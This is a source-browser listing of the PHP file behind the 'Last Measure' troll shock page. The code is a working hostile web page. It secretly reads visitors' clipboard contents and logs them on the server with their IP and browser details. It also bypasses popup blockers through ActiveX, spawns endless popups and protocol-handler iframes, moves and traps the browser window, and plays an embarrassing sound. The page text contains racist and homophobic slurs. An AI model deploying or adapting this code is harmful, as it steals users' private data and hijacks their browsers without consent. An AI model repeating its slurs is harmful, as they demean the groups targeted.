source: trollforge/lastmeasure/index.php @ 124

Revision 121, 11.2 KB checked in by sam, 7 years ago (diff)
  • support for ?u=user
  • tooltips in stats
  • Property svn:keywords set to Id
Line 
1<?php
2include("include/browser.php");
3
4/* Browser features */
5$br = new Browser;
6$br_ie6 = ($br->Name == "MSIE" && $br->Version >= 6);
7
8/* Additional information */
9$send = $_POST['send'];
10$popup = $_GET['popup'];
11$procreate = $_GET['procreate'];
12
13/* Print a random image name, with its 'image/' prefix. */
14$imagelist = array();
15$dh = opendir('images/');
16while(($file = readdir($dh)) != false) {
17  $ext = substr($file, -3);
18  if($ext == 'jpg' || $ext == 'gif') {
19    $imagelist[] = $file;
20  }
21}
22closedir($dh);
23function random_image() {
24   global $imagelist;
25   echo 'images/'.$imagelist[rand(0,count($imagelist)-1)];
26}
27
28function hey_everybody() { ?>
29  <!-- This object plays the "hey everybody, I'm watching gay porno!" sound -->
30  <object classid= "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
31          codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"
32          width="1" height="1" id="hey" align="">
33    <param name="movie" value="flash/hey.swf"></param>
34    <param name="quality" value="high"></param>
35    <embed src="flash/hey.swf" width="1" height="1" name="hey" align=""
36           type="application/x-shockwave-flash"
37           pluginspage="http://www.macromedia.com/go/getflashplayer"></embed>
38  </object>
39<?php
40}
41
42function external_ruin() { ?>
43  <script>
44    var mail = 'mailto:JOIN@THE.GNAA?subject=2005_RECRUITMENT_DRIVE'
45        mail += '&body=www.gnaa.us';
46    var news = 'news:alt.flame.niggers';
47
48    var protos = [
49      mail,
50      //'irc://irc.gnaa.us/#gnaa',
51      //'rlogin://x.x.x.x:xx',
52      mail,
53      //'telnet://x.x.x.x:xx',
54      //'ed2k://|file|Star.Wars.Episode.III.Revenge.of.the.Sith.2005.PROPER.DVDRip.XviD-GNAA.avi|1073397760|4D34DCA3C4E81B484EAC8CA408EEDD48|h=4OBEIFRUQRW7QJGRPBZJGRRQJHNP7KJS|/',
55      news,
56      //'callto://JOIN_THE_GNAA__2005_RECRUITMENT_DRIVE'
57    ];
58
59    function add(str) {
60      div = document.getElementById('goatse');
61      div.innerHTML = '<iframe width=1 height=1 src="' + str + '"></iframe>';
62    }
63
64    function extruin() {
65      document.body.innerHTML += '<div id="goatse">Y HALLO THAR!</div>';
66      for(i = 0; i < 5; i++) {
67        add(mail);
68        add(news);
69      }
70      ruin();
71    }
72
73    function ruin() {
74      for(i = 0; i < protos.length; i++) {
75        add(protos[i]);
76      }
77      //print();
78      setTimeout("ruin()", 200);
79    }
80  </script>
81<?php
82}
83
84function move_around($w, $h) { ?>
85  <script>
86    var images = new Array;
87    <?php
88    global $imagelist;
89    echo "var imagecount = ".count($imagelist).";\n";
90    for($i = 0; $i < count($imagelist); $i++) {
91      echo "images[".($i+1)."] = 'images/".$imagelist[$i]."';\n";
92    } ?>
93
94    var delay = 10;
95    var step = .2;
96    var curstep = 0;
97
98    window.resizeTo(<?php echo "$w, $h";?>);
99    var centerX = (self.screen.width - document.body.clientWidth) / 2;
100    var centerY = (self.screen.height - document.body.clientHeight - 120) / 2;
101    movew0w();
102
103    function movew0w() {
104      var j;
105      for (j = 0; j < 5; j++) {
106        curstep += step / 5;
107        var factorX = Math.sin(curstep * 6.1) * 0.9;
108        var factorY = Math.cos(curstep * 3.7) * 0.9;
109
110        factorX += 0.2 * Math.sin((20*Math.sin(curstep/20))+j*70)
111                    * (Math.sin(10+curstep/(10+j))+0.2)
112                    * Math.cos((curstep + j*25)/10);
113        factorY += 0.2 * Math.cos((20*Math.sin(curstep/(20+j)))+j*70)
114                    * (Math.sin(10+curstep/10)+0.2)
115                    * Math.cos((curstep + j*25)/10);
116        self.moveTo(centerX * (1.0 + factorX), centerY * (1.0 + factorY));
117      }
118      document.body.background = images[(Math.floor(curstep) % imagecount) + 1];
119      setTimeout("movew0w()", delay);
120    }
121  </script>
122<?php
123}
124
125function popup_bypasser() { ?>
126  <!-- This chunk bypasses popups -->
127  <script>
128    function shellscript() {
129      for(i = 0; i < 5; i++) {
130        open('http://<?php echo $_SERVER['SERVER_NAME'];?>/index.php?popup=1','_blank','scrollbar=no');
131      }
132    }
133
134    function main() {
135      x.DOM.Script.execScript(shellscript.toString());
136      x.DOM.Script.setTimeout("shellscript()");
137      setTimeout("main()", 200);
138    }
139  </script>
140<?php
141}
142
143function divert_onload() { ?>
144  <script language="JavaScript">
145    <!--
146    var SymRealOnLoad;
147    var SymRealOnUnload;
148    var SymRealWinOpen;
149
150    function SymOnUnload() {
151      window.open = SymWinOpen;
152      if(SymRealOnUnload != null)
153        SymRealOnUnload();
154    }
155
156    function SymOnLoad() {
157      if(SymRealOnLoad != null)
158        SymRealOnLoad();
159      window.open = SymRealWinOpen;
160      SymRealOnUnload = window.onUnload;
161      window.onUnload = SymOnUnload;
162    }
163
164    SymRealOnLoad = window.onLoad;
165    window.onLoad = SymOnLoad;
166    //-->
167  </script>
168<?php
169}
170
171function activate_applets() { ?>
172  <object id="x" classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A"
173          align="middle" height="1" width="1">
174    <param name="ActivateApplets" value="1"></param>
175    <param name="ActivateActiveXControls" value="1"></param>
176  </object>
177<?php
178}
179
180
181/*
182 * Database shit
183 */
184function store_hit() {
185    $ip = $_SERVER['REMOTE_ADDR'];
186    $port = $_SERVER['REMOTE_PORT'];
187    $hostname = base64_encode('');
188    $uagent = base64_encode($_SERVER['HTTP_USER_AGENT']);
189    $referer = base64_encode($_SERVER['HTTP_REFERER']);
190    $user = base64_encode($_GET['u']);
191    $clipboard = base64_encode('');
192
193    $key = sprintf('%08x', -1 - time()) . substr(md5($ip . rand()), 0, 8);
194    $val = "$ip $port $hostname $uagent $referer $user $clipboard";
195
196    $id = dba_open('db/hit.db', 'c', 'db4');
197    if($id) {
198        dba_replace($key, $val, $id);
199        dba_close($id);
200    }
201
202    $id = dba_open('db/uagent.db', 'c', 'db4');
203    if($id) {
204        if(dba_exists($uagent, $id)) {
205            $count = dba_fetch($uagent, $id);
206            dba_replace($uagent, $count + 1, $id);
207        } else {
208            dba_insert($uagent, '1', $id);
209        }
210        dba_close($id);
211    }
212
213    $id = dba_open('db/user.db', 'c', 'db4');
214    if($id) {
215        if(dba_exists($user, $id)) {
216            $count = dba_fetch($user, $id);
217            dba_replace($user, $count + 1, $id);
218        } else {
219            dba_insert($user, '1', $id);
220        }
221        dba_close($id);
222    }
223
224    return $key;
225}
226
227function store_clipboard() {
228    $key = $_POST['key'];
229
230    $id = dba_open('db/hit.db', 'c', 'db4');
231    if(!$id) {
232        return;
233    }
234    if(dba_exists($key, $id)) {
235        $val = dba_fetch($key, $id);
236        list($ip, $port, $hostname,
237             $uagent, $referer, $user, $clipboard) = explode(' ', $val);
238        $clipboard = base64_encode($_POST['content']);
239        $val = "$ip $port $hostname $uagent $referer $user $clipboard";
240        dba_replace($key, $val, $id);
241    }
242    dba_close($id);
243}
244
245/*
246 * The rest of our code
247 */
248
249?>
250<html>
251  <head>
252    <title>GNAA Last Measure Unified</title>
253    <script language="JavaScript">
254      <?php include("include/js.inc"); ?>
255    </script>
256    <link rel="icon" type="image/x-icon" href="/favicon.ico" />
257    <link rel="shortcut icon" type="image/x-icon" href="/favicon.ico" />
258  </head>
259<?php
260
261    /*
262     *
263     *  First window ever, this should be our entry point
264     *
265     */
266
267    if(!$popup && !$send && !$procreate) {
268        $key = store_hit(); ?>
269    <body>
270      <?php include "include/goatse.php"; ?>
271      <form name="clip" method="post" action="index.php" style="display:none">
272        <input type="text" name="content">
273        <input type="hidden" name="send" value="1">
274        <input type="hidden" name="key" value="<?php echo $key; ?>">
275        <input type="submit">
276      </form>
277      <script language="javascript">
278        // without this if statement check, it bombs out with an error
279        if (typeof clipboardData != 'undefined') {
280          var content = clipboardData.getData("Text");
281          document.forms["clip"].elements["content"].value = content;
282        }
283        document.forms["clip"].submit();
284      </script>
285    </body><?php
286
287    /*
288     *
289     *  This is still the first window, but we got the clipboard contents
290     *
291     */
292
293    } elseif($send || $popup) {
294      if($send) {
295        store_clipboard();
296        $flash = 'flash/first_opener.swf';
297      } else {
298        $flash = 'flash/second_opener.swf';
299      } 
300      ?>
301<body background="<?php random_image();?>" bgcolor="#ffffff"
302      onLoad="setTimeout('extruin()',200);<?php if($br_ie6) { ?>setTimeout('main()',100);<?php } ?>"
303      onKeyDown="altf4key();ctrlkey();delkey();"
304      leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
305  <?php move_around(800, 600);
306        external_ruin();
307        activate_applets();
308        if($br_ie6) {
309          popup_bypasser();
310          divert_onload();
311        } ?>
312  <table width="100%" height="100%">
313    <tr>
314      <td valign="middle">
315        <div align="center">
316          <a href="http://www.gnaa.us/"><img src="gnaa.png" border="0"></a>
317          <br />
318          <br />
319          <?php if(!$br_ie6) { ?>
320            <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
321                    codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0"
322                    width="1" height="1">
323              <param name="movie" value="<?php echo $flash;?>"></param>
324              <param name="quality" value="high"></param>
325              <embed src="<?php echo $flash;?>" quality="high"
326                     pluginspage="http://www.macromedia.com/go/getflashplayer"
327                     type="application/x-shockwave-flash" width="1" height="1">
328              </embed>
329            </object>
330          <?php } ?>
331        </div>
332      </td>
333    </tr>
334  </table>
335  <form>
336  <?php if($send) {
337    hey_everybody(); ?>
338    <input type="submit" value="CLICK ME" name="CLICK ME"
339           style="width: 2000px; height: 2000px;
340                  background-image: url('<?php //random_image();?>');"
341           src="<?php //random_image();?>" height="300" width="300"
342           onMouseOver="if(is_ie) {showModelessDialog('index.php?procreate=1');
343                        return true; }document.goatse.reset();movew0w();
344                        return true;"
345           onClick="if(is_ie) {showModelessDialog('index.php?procreate=1');
346                    return true; } movew0w();return true;"
347           onMouseOut="if(is_ie) {showModelessDialog('index.php?procreate=1');
348                       return true; } else{procreate();}
349                       movew0w();return true;">
350    <br />
351    Lastmeasure last measure last-measure nero institute
352  <?php } ?>
353  </form>
354  <form name="goatse" onReset="procreate();" onSubmit="procreate();" action="" id="goatse">
355    <p><span style="background-color: #ffffff; border: thin solid; color: #000000;">GNAA Gay Niggers Timecop</span></p>
356  </form>
357</body><?php
358
359    /*
360     *
361     *  Window is a procreate window
362     *
363     */
364
365    } elseif($procreate) {
366      ?>
367<body bgColor="#ffffff"
368      onLoad="document.goatse.reset();movew0w();return true;bookmark();"
369      onKeyDown="altf4key();ctrlkey();delkey();"
370      onMouseOver="procreate();movew0w();">
371  <?php move_around(800, 600);?>
372  <h1>PROCREATING LAST MEASURE!!!</h1>
373  <h1>GNAA > j00</h1>
374  <h1>Fristage Postage is MINE.</h1>
375  <h1>EAT THIS, GOOGLE TOOLBAR.</h1>
376  fucking nigger operating system.. at least in fucking Firebird you don't
377  have to do this shit.
378  <?php hey_everybody(); ?>
379  <form name="goatse" action="#" ONreset="procreate(); return true;">
380  </form>
381</body>
382<?php
383
384    }
385?>
386</html>
Note: See TracBrowser for help on using the repository browser.